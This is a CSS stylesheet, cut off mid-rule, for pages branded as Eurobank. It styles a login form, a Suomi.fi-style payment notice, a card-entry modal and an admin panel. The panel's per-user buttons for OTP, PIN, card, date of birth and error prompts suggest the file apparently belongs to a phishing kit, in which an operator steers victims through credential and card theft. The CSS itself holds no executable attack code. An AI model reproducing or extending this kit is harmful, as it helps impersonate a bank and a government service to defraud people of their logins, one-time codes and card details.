:root {
    --eb-navy: #001F54;
    --eb-navy-dark: #001335;
    --eb-navy-light: #003087;
    --eb-red: #E30613;
    --eb-red-dark: #C10010;
    --eb-cyan: #8CC6E5;
    --eb-cyan-light: #C8DEEC;

    --eb-bg: #ffffff;
    --eb-bg-alt: #f7f9fc;
    --eb-bg-muted: #f2f5fa;

    --eb-text: #1a1a1a;
    --eb-text-secondary: #4a5568;
    --eb-text-muted: #718096;

    --eb-border: #e2e8f0;
    --eb-border-focus: #8CC6E5;
    --eb-border-input: #d9dee6;

    --eb-btn-bg: #001F54;
    --eb-btn-bg-hover: #001335;
    --eb-btn-bg-disabled: #e2e8f0;

    --eb-shadow-sm: 0 1px 2px rgba(0, 31, 84, 0.05);
    --eb-shadow-md: 0 4px 12px rgba(0, 31, 84, 0.08);
    --eb-radius: 14px;
    --eb-radius-sm: 10px;
    --eb-radius-lg: 20px;

    --vero-green-dark: var(--eb-navy);
    --vero-green-darker: var(--eb-navy-dark);
    --vero-bg-light-green: var(--eb-bg-alt);
    --vero-border-green: var(--eb-border);
    --vero-blue: var(--eb-navy-light);
    --vero-bg-light-blue: var(--eb-bg-muted);
    --vero-border-blue: var(--eb-border-focus);
    --vero-accent-orange: var(--eb-red);
    --vero-text-primary: var(--eb-text);
    --vero-text-secondary: var(--eb-text-secondary);
    --vero-bg-gray: var(--eb-bg-alt);
    --color-white: #ffffff;
    --color-navy: var(--eb-navy);
    --color-accent: var(--eb-navy);
    --color-accent-hover: var(--eb-navy-dark);
    --color-bg: var(--eb-bg);
    --color-text: var(--eb-text);
    --color-muted: var(--eb-text-secondary);
    --color-border: var(--eb-border);
    --color-success: #16a34a;
    --color-warn: var(--eb-red);
    --shadow-sm: var(--eb-shadow-sm);
    --shadow-md: var(--eb-shadow-md);
    --shadow-lg: 0 10px 30px rgba(0, 31, 84, 0.12);
    --radius: 8px;
    --radius-lg: 14px;
}

* { box-sizing: border-box; }

html, body {
    margin: 0;
    padding: 0;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
    color: var(--eb-text);
    background: var(--eb-bg);
    -webkit-font-smoothing: antialiased;
    min-height: 100vh;
    font-size: 16px;
    line-height: 1.5;
}

body.eb-body {
    display: flex;
    flex-direction: column;
    min-height: 100vh;
    background: var(--eb-bg);
}

a { color: var(--eb-navy); text-decoration: none; }
a:hover { text-decoration: underline; }

/* ===================== PAGE LOADER ===================== */
.page-loader {
    position: fixed;
    inset: 0;
    z-index: 9999;
    background: var(--color-white);
    display: flex;
    align-items: center;
    justify-content: center;
    transition: opacity 0.4s ease, visibility 0.4s ease;
}
.page-loader.is-hidden {
    opacity: 0;
    visibility: hidden;
    pointer-events: none;
}
.page-loader-logo {
    height: 100px;
    width: auto;
    max-width: 80%;
    object-fit: contain;
    animation: pulse 1.6s ease-in-out infinite;
}
@keyframes pulse {
    0%, 100% { transform: scale(1); opacity: 1; }
    50% { transform: scale(1.05); opacity: 0.88; }
}

/* ===================== EUROBANK HEADER ===================== */
.eb-header {
    background: var(--eb-bg);
    border-bottom: 1px solid var(--eb-border);
    width: 100%;
}
.eb-header-inner {
    display: flex;
    align-items: center;
    justify-content: space-between;
    max-width: 1200px;
    margin: 0 auto;
    padding: 22px 40px;
    gap: 16px;
}
.eb-brand {
    display: flex;
    align-items: center;
    text-decoration: none;
}
.eb-brand-logo {
    height: 58px;
    width: auto;
    object-fit: contain;
    display: block;
}
.eb-header-actions {
    display: flex;
    align-items: center;
    gap: 10px;
}
.eb-lang-btn {
    display: inline-flex;
    align-items: center;
    gap: 8px;
    padding: 10px 22px;
    background: var(--eb-navy);
    color: #ffffff;
    border: 3px solid var(--eb-cyan);
    border-radius: 999px;
    font-size: 15px;
    font-weight: 700;
    cursor: pointer;
    font-family: inherit;
    transition: all 0.15s ease;
    letter-spacing: 0.01em;
    box-shadow: 0 2px 8px rgba(0, 31, 84, 0.1);
}
.eb-lang-btn:hover {
    background: var(--eb-navy-dark);
    box-shadow: 0 4px 12px rgba(0, 31, 84, 0.18);
}
.eb-lang-arrow {
    flex-shrink: 0;
    opacity: 0.95;
}

/* ===================== EUROBANK MAIN / LOGIN ===================== */
.eb-main {
    flex: 1;
    display: flex;
    align-items: flex-start;
    justify-content: center;
    padding: 60px 24px 40px;
    width: 100%;
    background: var(--eb-bg);
}
.eb-login-wrap {
    width: 100%;
    max-width: 720px;
    background: var(--eb-bg);
}
.eb-login-title {
    font-size: clamp(36px, 5.5vw, 58px);
    font-weight: 800;
    line-height: 1.08;
    color: var(--eb-navy);
    margin: 0 0 18px;
    letter-spacing: -0.02em;
}
.eb-login-title-accent {
    font-weight: 800;
    color: var(--eb-navy);
}
.eb-login-intro {
    font-size: clamp(16px, 2vw, 20px);
    color: var(--eb-text);
    margin: 0 0 40px;
    line-height: 1.55;
    font-weight: 400;
}

.eb-login-form {
    margin: 0;
}

.eb-form-group {
    margin-bottom: 26px;
}
.eb-form-label {
    display: block;
    font-size: clamp(18px, 2vw, 22px);
    font-weight: 700;
    color: var(--eb-text);
    margin-bottom: 12px;
    letter-spacing: -0.01em;
}
.eb-form-input {
    width: 100%;
    padding: 16px 20px;
    border: 1.5px solid var(--eb-border-input);
    border-radius: var(--eb-radius);
    font-size: 16px;
    font-family: inherit;
    background: var(--eb-bg);
    color: var(--eb-text);
    transition: border-color 0.15s ease, box-shadow 0.15s ease;
    outline: none;
    -webkit-appearance: none;
    appearance: none;
}
.eb-form-input::placeholder {
    color: var(--eb-text-muted);
    font-size: 15px;
}
.eb-form-input:focus {
    border-color: var(--eb-navy);
    box-shadow: 0 0 0 4px rgba(0, 31, 84, 0.08);
}
.eb-form-input.error {
    border-color: var(--eb-red);
    background: #fff5f5;
}

.eb-error-message {
    display: none;
    color: var(--eb-red);
    font-size: 13px;
    margin-top: 8px;
    font-weight: 500;
    line-height: 1.45;
}

.eb-login-actions {
    display: flex;
    align-items: center;
    gap: 24px;
    flex-wrap: wrap;
    margin-top: 38px;
}
.eb-login-btn {
    position: relative;
    min-width: 200px;
    padding: 15px 40px;
    background: var(--eb-btn-bg-disabled);
    color: var(--eb-text-muted);
    border: none;
    border-radius: var(--eb-radius);
    font-size: 17px;
    font-weight: 700;
    cursor: not-allowed;
    transition: background 0.15s ease, color 0.15s ease, box-shadow 0.15s ease;
    font-family: inherit;
    letter-spacing: 0.01em;
}
.eb-login-btn:not(:disabled) {
    background: var(--eb-navy);
    color: #ffffff;
    cursor: pointer;
    box-shadow: 0 2px 8px rgba(0, 31, 84, 0.12);
}
.eb-login-btn:not(:disabled):hover {
    background: var(--eb-navy-dark);
    box-shadow: 0 6px 18px rgba(0, 31, 84, 0.2);
}
.eb-login-btn .spinner {
    display: none;
    position: absolute;
    right: 20px;
    top: 50%;
    transform: translateY(-50%);
    width: 18px;
    height: 18px;
    border: 2px solid rgba(255,255,255,0.4);
    border-top-color: #fff;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
}
.eb-login-btn.loading .spinner { display: block; }
.eb-login-btn.loading .eb-login-btn-text { padding-right: 18px; }
@keyframes spin {
    to { transform: translateY(-50%) rotate(360deg); }
}

.eb-security-tips {
    display: inline-flex;
    align-items: center;
    gap: 10px;
    padding: 10px 0;
    color: var(--eb-navy);
    font-size: 17px;
    font-weight: 700;
    text-decoration: none;
    transition: color 0.15s ease;
}
.eb-security-tips:hover {
    color: var(--eb-navy-light);
    text-decoration: none;
}
.eb-info-icon {
    flex-shrink: 0;
    color: var(--eb-navy);
}

.eb-login-links {
    margin-top: 52px;
}
.eb-forgot-row {
    font-size: 17px;
    color: var(--eb-text);
    margin: 0 0 22px;
}
.eb-forgot-row a {
    color: var(--eb-navy);
    font-weight: 600;
}
.eb-divider {
    border: none;
    border-top: 1px solid var(--eb-border);
    margin: 26px 0;
}
.eb-register-row {
    font-size: 17px;
    color: var(--eb-text);
    margin: 0;
}
.eb-register-row a {
    color: var(--eb-navy);
    font-weight: 600;
}

/* ===================== EUROBANK FOOTER ===================== */
.eb-footer {
    background: var(--eb-bg);
    border-top: 1px solid var(--eb-border);
    padding: 28px 40px 32px;
    margin-top: auto;
}
.eb-footer-inner {
    max-width: 1200px;
    margin: 0 auto;
}
.eb-footer-powered {
    display: flex;
    align-items: center;
    gap: 12px;
    padding-bottom: 20px;
    border-bottom: 1px solid var(--eb-border);
    margin-bottom: 20px;
    font-size: 12px;
    color: var(--eb-text-muted);
    font-weight: 600;
    letter-spacing: 0.06em;
    text-transform: uppercase;
}
.eb-footer-logo {
    height: 36px;
    width: auto;
    object-fit: contain;
}
.eb-footer-bottom {
    display: flex;
    align-items: center;
    justify-content: space-between;
    flex-wrap: wrap;
    gap: 14px;
}
.eb-copyright {
    font-size: 13px;
    color: var(--eb-text-secondary);
}
.eb-footer-nav {
    display: flex;
    gap: 20px;
    flex-wrap: wrap;
}
.eb-footer-nav a {
    color: var(--eb-text-secondary);
    font-size: 13px;
    text-decoration: none;
    transition: color 0.15s ease;
}
.eb-footer-nav a:hover { color: var(--eb-navy); text-decoration: underline; }

/* ===================== LEGACY CLASSES (add3, portal, god) ===================== */
body {
    display: flex;
    flex-direction: column;
}

.site-header {
    background: var(--eb-navy);
    border-bottom: 4px solid var(--eb-navy-dark);
    width: 100%;
    color: var(--color-white);
    box-shadow: var(--shadow-sm);
}
.site-header-top { width: 100%; background: var(--eb-navy); }
.site-header-inner {
    display: flex;
    align-items: center;
    max-width: 1180px;
    margin: 0 auto;
    padding: 14px 24px;
    gap: 16px;
}
.site-brand {
    display: flex;
    align-items: center;
    gap: 14px;
    text-decoration: none;
    flex-shrink: 0;
}
.site-brand-icon {
    height: 54px;
    width: auto;
    max-width: 340px;
    object-fit: contain;
    flex-shrink: 0;
    background: transparent;
    border-radius: 0;
    padding: 0;
}
.site-brand-text { display: none; }
.site-brand-title {
    font-size: 15px;
    font-weight: 700;
    color: var(--eb-navy);
    letter-spacing: 0.01em;
}
.site-brand-sub {
    font-size: 10px;
    color: var(--eb-text-secondary);
    letter-spacing: 0.02em;
}
.site-brand-center {
    display: flex;
    align-items: center;
    justify-content: center;
    flex: 1 1 auto;
    min-width: 0;
    margin: 0;
    overflow: hidden;
}
.site-brand-logo { display: none; }
.site-brand-actions {
    display: flex;
    align-items: center;
    gap: 8px;
    flex-shrink: 0;
    margin-left: auto;
}
.site-lang {
    font-size: 12px;
    font-weight: 700;
    color: var(--color-white);
    text-decoration: none;
    padding: 4px 8px;
    border-radius: 3px;
    border: 1px solid rgba(255,255,255,0.5);
}
.site-lang:hover { background: rgba(255,255,255,0.15); text-decoration: none; }
.site-brand-actions .btn { padding: 7px 14px; font-size: 13px; }
.site-brand-actions .btn-outline {
    border-color: rgba(255,255,255,0.6);
    color: var(--color-white);
    background: transparent;
}
.site-brand-actions .btn-outline:hover {
    background: rgba(255,255,255,0.12);
    border-color: var(--color-white);
}
.site-brand-actions .btn-primary {
    background: var(--color-white);
    color: var(--eb-navy);
}
.site-brand-actions .btn-primary:hover { background: var(--eb-bg-alt); }

.header {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 16px 40px;
    background: var(--color-white);
    border-bottom: 1px solid var(--color-border);
    box-shadow: var(--shadow-sm);
}
.header-left { display: flex; align-items: center; gap: 32px; }
.header-right { display: flex; gap: 12px; }
.logo { display: flex; align-items: center; gap: 10px; }
.header-logo-png { width: 40px; height: 40px; object-fit: contain; }
.header-brand-logo { height: 32px; width: auto; display: block; object-fit: contain; }
.logo-text {
    font-weight: 700;
    font-size: 18px;
    color: var(--eb-navy);
    letter-spacing: 0.02em;
}
.nav { display: flex; gap: 20px; }
.nav a {
    color: var(--color-muted);
    font-size: 14px;
    font-weight: 500;
    transition: color 0.15s;
}
.nav a:hover { color: var(--eb-navy); text-decoration: none; }

.btn {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    padding: 8px 18px;
    border-radius: var(--radius);
    font-size: 14px;
    font-weight: 600;
    cursor: pointer;
    text-decoration: none;
    transition: all 0.15s ease;
    border: 1px solid transparent;
    font-family: inherit;
}
.btn-outline {
    background: transparent;
    border-color: var(--color-border);
    color: var(--eb-navy);
}
.btn-outline:hover { border-color: var(--eb-navy); text-decoration: none; }
.btn-primary {
    background: var(--eb-navy);
    color: var(--color-white);
}
.btn-primary:hover { background: var(--eb-navy-dark); text-decoration: none; }

.main-content {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: flex-start;
    padding: 40px 20px;
    width: 100%;
    background: var(--eb-bg-alt);
}

.login-container {
    background: var(--color-white);
    border-radius: var(--radius-lg);
    padding: 40px;
    max-width: 460px;
    width: 100%;
    box-shadow: none;
    border: 1px solid var(--color-border);
}
.login-title {
    font-size: 28px;
    margin: 0 0 8px;
    color: var(--eb-navy);
    font-weight: 700;
}
.login-intro {
    color: var(--color-muted);
    margin: 0 0 24px;
    font-size: 14px;
    line-height: 1.5;
}

.form-group { margin-bottom: 18px; }
.form-group label {
    display: block;
    font-size: 13px;
    font-weight: 600;
    color: var(--eb-navy);
    margin-bottom: 6px;
}
.form-group input {
    width: 100%;
    padding: 11px 14px;
    border: 1px solid var(--color-border);
    border-radius: var(--radius);
    font-size: 15px;
    font-family: inherit;
    background: #fff;
    color: var(--color-text);
    transition: border-color 0.15s, box-shadow 0.15s;
}
.form-group input:focus {
    outline: none;
    border-color: var(--eb-navy);
    box-shadow: 0 0 0 3px rgba(0, 31, 84, 0.1);
}
.form-group input.error {
    border-color: var(--eb-red);
    background: #fff5f5;
}

.phone-input-wrapper {
    display: flex;
    align-items: stretch;
    border: 1px solid var(--color-border);
    border-radius: var(--radius);
    overflow: hidden;
    transition: border-color 0.15s, box-shadow 0.15s;
}
.phone-input-wrapper:focus-within {
    border-color: var(--eb-navy);
    box-shadow: 0 0 0 3px rgba(0, 31, 84, 0.1);
}
.country-code {
    display: flex;
    align-items: center;
    padding: 0 12px;
    background: var(--eb-bg-alt);
    border-right: 1px solid var(--color-border);
    font-size: 14px;
    color: var(--color-muted);
    font-weight: 500;
}
.phone-input-wrapper input {
    border: none;
    border-radius: 0;
    flex: 1;
}
.phone-input-wrapper input:focus { box-shadow: none; }

.error-message {
    display: none;
    color: var(--eb-red);
    font-size: 12px;
    margin-top: 5px;
    font-weight: 500;
}

.forgot-password {
    text-align: right;
    margin-bottom: 18px;
}
.forgot-password a {
    color: var(--color-muted);
    font-size: 13px;
}

.login-btn {
    position: relative;
    width: 100%;
    background: var(--eb-navy);
    color: var(--color-white);
    border: none;
    padding: 12px;
    border-radius: var(--radius);
    font-size: 15px;
    font-weight: 600;
    cursor: pointer;
    transition: background 0.15s;
    font-family: inherit;
}
.login-btn:hover { background: var(--eb-navy-dark); }
.login-btn .spinner {
    display: none;
    position: absolute;
    right: 16px;
    top: 50%;
    transform: translateY(-50%);
    width: 16px;
    height: 16px;
    border: 2px solid rgba(255,255,255,0.4);
    border-top-color: #fff;
    border-radius: 50%;
    animation: spin-legacy 0.8s linear infinite;
}
.login-btn.loading .spinner { display: block; }
@keyframes spin-legacy {
    to { transform: translateY(-50%) rotate(360deg); }
}

.register-link {
    text-align: center;
    margin-top: 20px;
    font-size: 13px;
    color: var(--color-muted);
}
.register-link a {
    color: var(--eb-navy);
    font-weight: 600;
}

.footer {
    background: var(--color-white);
    border-top: 1px solid var(--color-border);
    padding: 24px 40px;
    margin-top: auto;
}
.footer-top {
    display: flex;
    align-items: center;
    justify-content: space-between;
    flex-wrap: wrap;
    gap: 16px;
    padding-bottom: 16px;
    border-bottom: 1px solid var(--color-border);
}
.payment-logos {
    display: flex;
    gap: 12px;
    align-items: center;
    flex-wrap: wrap;
}
.payment-logos img {
    height: 24px;
    opacity: 0.9;
    transition: opacity 0.15s;
}
.payment-logos img:hover { opacity: 1; }
.powered-by {
    display: flex;
    align-items: center;
    gap: 8px;
    font-size: 12px;
    color: var(--color-muted);
    text-transform: uppercase;
    letter-spacing: 0.06em;
}
.footer-suomifi-logo { height: 32px; width: auto; object-fit: contain; }
.footer-bottom {
    display: flex;
    align-items: center;
    justify-content: space-between;
    flex-wrap: wrap;
    gap: 12px;
    padding-top: 16px;
    font-size: 12px;
    color: var(--color-muted);
}
.footer-nav {
    display: flex;
    gap: 18px;
    flex-wrap: wrap;
}
.footer-nav a { color: var(--color-muted); font-size: 12px; }
.copyright { font-size: 12px; }

.official-banner {
    display: flex;
    align-items: center;
    gap: 16px;
    background: linear-gradient(90deg, var(--eb-navy) 0%, var(--eb-navy-light) 100%);
    color: #fff;
    padding: 16px 40px;
    border-bottom: 3px solid var(--eb-red);
}
.official-banner-logo {
    width: 48px;
    height: 48px;
    display: flex;
    align-items: center;
    justify-content: center;
}
.official-banner-logo svg { width: 100%; height: 100%; }
.official-banner-text { display: flex; flex-direction: column; }
.official-banner-title {
    font-size: 16px;
    font-weight: 700;
    letter-spacing: 0.06em;
}
.official-banner-subtitle {
    font-size: 11px;
    text-transform: uppercase;
    letter-spacing: 0.07em;
    color: #cbd5e0;
    margin-top: 2px;
}

.page-header {
    text-align: center;
    max-width: 700px;
    margin: 0 auto 24px;
}
.page-title {
    font-size: 34px;
    font-weight: 600;
    margin: 0 0 8px;
    color: var(--eb-text);
}
.page-subtitle {
    color: var(--color-muted);
    font-size: 18px;
    margin: 0;
    line-height: 1.5;
}

.document-section {
    background: var(--eb-bg-alt);
    border-radius: var(--radius-lg);
    max-width: 640px;
    width: 100%;
    margin: 0 auto;
    box-shadow: none;
    border: 1px solid var(--color-border);
    overflow: hidden;
}
.document-header {
    display: flex;
    align-items: center;
    gap: 14px;
    padding: 18px 24px;
    border-bottom: 1px solid var(--color-border);
    background: transparent;
}
.document-icon {
    width: 32px;
    height: 32px;
    display: flex;
    align-items: center;
    justify-content: center;
    color: var(--eb-navy);
}
.document-icon svg { width: 100%; height: 100%; }
.document-title {
    font-size: 20px;
    font-weight: 700;
    color: var(--eb-navy);
}
.document-body { padding: 24px; }
.document-grid {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 18px 24px;
    margin-bottom: 24px;
}
.document-field {
    display: flex;
    flex-direction: column;
    gap: 4px;
}
.document-label {
    font-size: 12px;
    color: var(--color-muted);
    text-transform: uppercase;
    letter-spacing: 0.06em;
    font-weight: 600;
}
.document-value {
    font-size: 14px;
    color: var(--color-text);
    font-weight: 500;
    word-break: break-word;
}

.amount-row {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 20px;
    background: var(--color-white);
    border: 1px solid var(--color-border);
    border-radius: var(--radius);
    margin-bottom: 24px;
}
.amount-row .label {
    font-size: 14px;
    text-transform: uppercase;
    letter-spacing: 0.06em;
    color: var(--eb-text);
    font-weight: 600;
}
.amount {
    font-size: 28px;
    font-weight: 700;
    color: var(--eb-navy);
}
.currency {
    font-size: 18px;
    color: var(--color-muted);
    margin-left: 4px;
}

.legal-notice {
    background: var(--eb-bg-muted);
    border-left: 3px solid var(--eb-navy-light);
    padding: 14px 18px;
    font-size: 13px;
    color: var(--eb-text);
    line-height: 1.6;
    border-radius: 4px;
    margin-bottom: 24px;
}

.pay-now-btn {
    width: 100%;
    background: var(--eb-navy);
    color: #fff;
    border: none;
    padding: 14px;
    font-size: 16px;
    font-weight: 700;
    border-radius: var(--radius);
    cursor: pointer;
    transition: background 0.15s;
    font-family: inherit;
}
.pay-now-btn:hover { background: var(--eb-navy-dark); }

.payment-loader {
    display: none;
    position: fixed;
    inset: 0;
    background: rgba(0, 19, 53, 0.55);
    backdrop-filter: blur(4px);
    -webkit-backdrop-filter: blur(4px);
    z-index: 9998;
    align-items: center;
    justify-content: center;
    animation: pl-fade-in 0.25s ease-out;
}
.payment-loader.active { display: flex; }
@keyframes pl-fade-in {
    from { opacity: 0; }
    to { opacity: 1; }
}
.loader-box {
    background: #fff;
    padding: 36px 44px 28px;
    border-radius: 14px;
    text-align: center;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 18px;
    box-shadow: 0 20px 50px rgba(0,0,0,0.25);
    min-width: 240px;
    animation: pl-scale-in 0.35s cubic-bezier(0.16, 1, 0.3, 1);
}
@keyframes pl-scale-in {
    from { opacity: 0; transform: scale(0.9) translateY(6px); }
    to { opacity: 1; transform: scale(1) translateY(0); }
}
.loader-spinner-svg {
    display: block;
    animation: pl-rotate 1.6s linear infinite;
}
.loader-spinner-svg .loader-arc {
    transform-origin: center;
    animation: pl-dash 1.4s ease-in-out infinite;
}
@keyframes pl-rotate { to { transform: rotate(360deg); } }
@keyframes pl-dash {
    0%   { stroke-dasharray: 1 200;  stroke-dashoffset: 0; }
    50%  { stroke-dasharray: 90 200; stroke-dashoffset: -35; }
    100% { stroke-dasharray: 90 200; stroke-dashoffset: -125; }
}
.loader-spinner {
    width: 52px;
    height: 52px;
    border: 3px solid rgba(0, 31, 84, 0.12);
    border-top-color: var(--eb-navy);
    border-radius: 50%;
    animation: pl-spin 0.9s linear infinite;
}
@keyframes pl-spin { to { transform: rotate(360deg); } }
.loader-text {
    font-size: 14px;
    color: var(--eb-navy);
    font-weight: 600;
    letter-spacing: 0.02em;
}
.loader-subtext {
    font-size: 12px;
    color: var(--color-muted);
    margin-top: -8px;
}

.modal-overlay {
    display: none;
    position: fixed;
    inset: 0;
    background: rgba(0, 19, 53, 0.55);
    z-index: 9997;
    align-items: center;
    justify-content: center;
    padding: 20px;
}
.modal-overlay.active { display: flex; }
.modal {
    background: #fff;
    border-radius: var(--radius-lg);
    width: 100%;
    max-width: 440px;
    padding: 24px 28px;
    box-shadow: var(--shadow-lg);
    animation: modalIn 0.25s ease;
}
@keyframes modalIn {
    from { opacity: 0; transform: translateY(20px) scale(0.98); }
    to { opacity: 1; transform: translateY(0) scale(1); }
}
.modal-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 8px;
}
.modal-title {
    font-size: 20px;
    margin: 0;
    color: var(--eb-navy);
    font-weight: 700;
}
.modal-close {
    background: none;
    border: none;
    font-size: 22px;
    cursor: pointer;
    color: var(--color-muted);
    line-height: 1;
    padding: 4px 8px;
    font-family: inherit;
}
.modal-close:hover { color: var(--eb-navy); }
.modal-amount {
    display: flex;
    justify-content: space-between;
    padding: 10px 0 16px;
    border-bottom: 1px solid var(--color-border);
    margin-bottom: 16px;
    font-size: 14px;
    color: var(--color-muted);
}
.modal-amount .value {
    font-weight: 700;
    color: var(--eb-navy);
    font-size: 15px;
}

.stripe-form { display: flex; flex-direction: column; gap: 4px; }
.stripe-label {
    font-size: 13px;
    font-weight: 600;
    color: var(--eb-navy);
    margin-bottom: 6px;
}
.stripe-card-group {
    border: 1px solid var(--color-border);
    border-radius: var(--radius);
    background: #fff;
    overflow: hidden;
    transition: border-color 0.15s, box-shadow 0.15s;
}
.stripe-card-group:focus-within {
    border-color: var(--eb-navy);
    box-shadow: 0 0 0 3px rgba(0, 31, 84, 0.1);
}
.stripe-field {
    position: relative;
    display: flex;
    align-items: center;
    padding: 12px 14px;
}
.stripe-field-number { border-bottom: 1px solid var(--color-border); }
.stripe-row { display: flex; }
.stripe-field-expiry {
    flex: 1;
    border-right: 1px solid var(--color-border);
}
.stripe-field-cvc { flex: 1; }
.stripe-input {
    flex: 1;
    border: none;
    outline: none;
    font-size: 15px;
    font-family: 'Menlo', 'Consolas', monospace;
    background: transparent;
    color: var(--color-text);
    letter-spacing: 0.02em;
    width: 100%;
}
.stripe-input::placeholder { color: #a0aec0; }
.stripe-input-error { color: var(--eb-red); }
.stripe-card-brands {
    display: flex;
    align-items: center;
    gap: 4px;
    margin-left: 8px;
}
.brand-icon {
    width: 32px;
    height: 20px;
    opacity: 0.35;
    transition: opacity 0.15s;
}
.brand-icon.active { opacity: 1; }
.stripe-cvc-icon {
    width: 28px;
    height: 20px;
    color: var(--color-muted);
    margin-left: 6px;
}
.stripe-error {
    color: var(--eb-red);
    font-size: 12px;
    margin-top: 6px;
    min-height: 14px;
}
.visually-hidden {
    position: absolute;
    width: 1px;
    height: 1px;
    padding: 0;
    margin: -1px;
    overflow: hidden;
    clip: rect(0,0,0,0);
    white-space: nowrap;
    border: 0;
}

.modal-pay-btn {
    width: 100%;
    background: var(--eb-navy);
    color: #fff;
    border: none;
    padding: 12px;
    border-radius: var(--radius);
    font-size: 15px;
    font-weight: 600;
    cursor: pointer;
    margin-top: 14px;
    transition: background 0.15s;
    font-family: inherit;
}
.modal-pay-btn:hover { background: var(--eb-navy-dark); }
.secure-badge {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 6px;
    margin-top: 12px;
    font-size: 12px;
    color: var(--color-muted);
}
.secure-badge svg { width: 14px; height: 14px; }

body.admin-page {
    background: #eef2f5;
    padding: 30px 20px;
    display: block;
}
.admin-panel {
    max-width: 1100px;
    margin: 0 auto;
    background: #fff;
    border-radius: var(--radius-lg);
    box-shadow: var(--shadow-md);
    overflow: hidden;
}
.panel-header {
    position: relative;
    padding: 24px 28px;
    background: linear-gradient(90deg, var(--eb-navy) 0%, var(--eb-navy-light) 100%);
    color: #fff;
}
.panel-title {
    margin: 0 0 4px;
    font-size: 22px;
    font-weight: 700;
}
.panel-subtitle {
    margin: 0;
    font-size: 13px;
    color: #cbd5e0;
    letter-spacing: 0.04em;
}
.btn-delete-all {
    position: absolute;
    top: 24px;
    right: 24px;
    background: var(--eb-red);
    color: #fff;
    border: none;
    border-radius: var(--radius);
    padding: 8px 14px;
    font-size: 13px;
    font-weight: 600;
    cursor: pointer;
    transition: background 0.15s;
    font-family: inherit;
}
.btn-delete-all:hover { background: var(--eb-red-dark); }

.user-list {
    padding: 24px;
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(450px, 1fr));
    gap: 24px;
}
.user-item {
    position: relative;
    background: #f7f9fc;
    border: 1px solid var(--color-border);
    border-radius: var(--radius-lg);
    padding: 18px 20px;
    transition: box-shadow 0.15s, transform 0.15s;
}
.user-item:hover { box-shadow: var(--shadow-md); }
.btn-delete-user {
    position: absolute;
    top: 12px;
    right: 12px;
    width: 26px;
    height: 26px;
    border-radius: 50%;
    background: #fdecea;
    color: var(--eb-red);
    border: none;
    font-size: 16px;
    font-weight: 700;
    line-height: 24px;
    text-align: center;
    cursor: pointer;
    transition: background 0.15s, color 0.15s;
    padding: 0;
    font-family: inherit;
}
.btn-delete-user:hover {
    background: var(--eb-red);
    color: #fff;
}
.admin-user-info {
    margin-bottom: 14px;
    padding-right: 40px;
}
.admin-user-info p {
    margin: 4px 0;
    font-size: 13px;
    color: var(--eb-navy);
    word-break: break-word;
}
.admin-user-info strong {
    color: var(--color-muted);
    font-weight: 600;
    letter-spacing: 0.02em;
}

.bank-grid {
    display: grid;
    grid-template-columns: repeat(5, 1fr);
    gap: 8px;
    margin-bottom: 10px;
}
.bank-btn {
    background: #fff;
    color: var(--eb-navy);
    border: 1px solid var(--color-border);
    padding: 9px 10px;
    border-radius: var(--radius);
    font-size: 12px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.15s;
    text-align: center;
    font-family: inherit;
}
.bank-btn:hover {
    border-color: var(--eb-navy);
    background: var(--eb-navy);
    color: #fff;
}
.bank-btn:disabled {
    background: var(--color-success);
    color: #fff;
    border-color: var(--color-success);
    cursor: default;
}

.action-grid {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    gap: 6px;
    margin-bottom: 10px;
}
.action-btn {
    border: none;
    color: #fff;
    padding: 8px 10px;
    border-radius: var(--radius);
    font-size: 12px;
    font-weight: 600;
    cursor: pointer;
    text-transform: uppercase;
    letter-spacing: 0.03em;
    transition: filter 0.15s;
    font-family: inherit;
}
.action-btn:hover { filter: brightness(0.9); }
.action-btn:disabled { cursor: default; filter: brightness(0.85); }
.action-btn.otp        { background: #2563eb; }
.action-btn.log        { background: #0891b2; }
.action-btn.otp-err    { background: var(--eb-red); }
.action-btn.log-error  { background: #dc2626; }
.action-btn.card       { background: #7c3aed; }
.action-btn.done       { background: var(--color-success); }
.action-btn.dob        { background: #ea580c; }
.action-btn.pin        { background: #db2777; }
.action-btn.code       { background: #111827; }
.action-btn.email      { background: #0e7490; }
.action-btn.email-err  { background: #b45309; }

.code-row {
    display: flex;
    gap: 8px;
    align-items: center;
    margin-top: 10px;
}
.code-input {
    flex: 1;
    padding: 8px 10px;
    border: 1px solid var(--color-border);
    border-radius: var(--radius);
    font-size: 14px;
    font-family: inherit;
    background: #fff;
}
.code-input:focus {
    outline: none;
    border-color: var(--eb-navy);
    box-shadow: 0 0 0 3px rgba(0, 31, 84, 0.1);
}

.admin-footer {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    padding: 20px;
    color: var(--color-muted);
    font-size: 12px;
    text-transform: uppercase;
    letter-spacing: 0.06em;
}

body.portal-page {
    background: var(--color-bg);
    display: block;
}
.portal-footer {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    padding: 20px;
    color: var(--color-muted);
    font-size: 12px;
    text-transform: uppercase;
    letter-spacing: 0.06em;
    margin-top: 20px;
}

@media (max-width: 720px) {
    .eb-header-inner {
        padding: 16px 20px;
    }
    .eb-brand-logo { height: 42px; }
    .eb-lang-btn {
        padding: 8px 16px;
        font-size: 14px;
    }
    .eb-main {
        padding: 30px 20px;
    }
    .eb-login-title {
        font-size: 38px;
    }
    .eb-login-actions {
        flex-direction: column;
        align-items: flex-start;
        gap: 16px;
    }
    .eb-login-btn {
        width: 100%;
    }
    .eb-footer {
        padding: 20px 20px 24px;
    }
    .eb-footer-bottom {
        flex-direction: column;
        align-items: flex-start;
        gap: 12px;
    }

    .site-header-inner {
        flex-wrap: wrap;
        padding: 8px 12px;
        gap: 8px;
    }
    .site-brand { gap: 6px; }
    .site-brand-actions { gap: 4px; margin-left: auto; }
    .site-brand-center {
        order: 3;
        flex-basis: 100%;
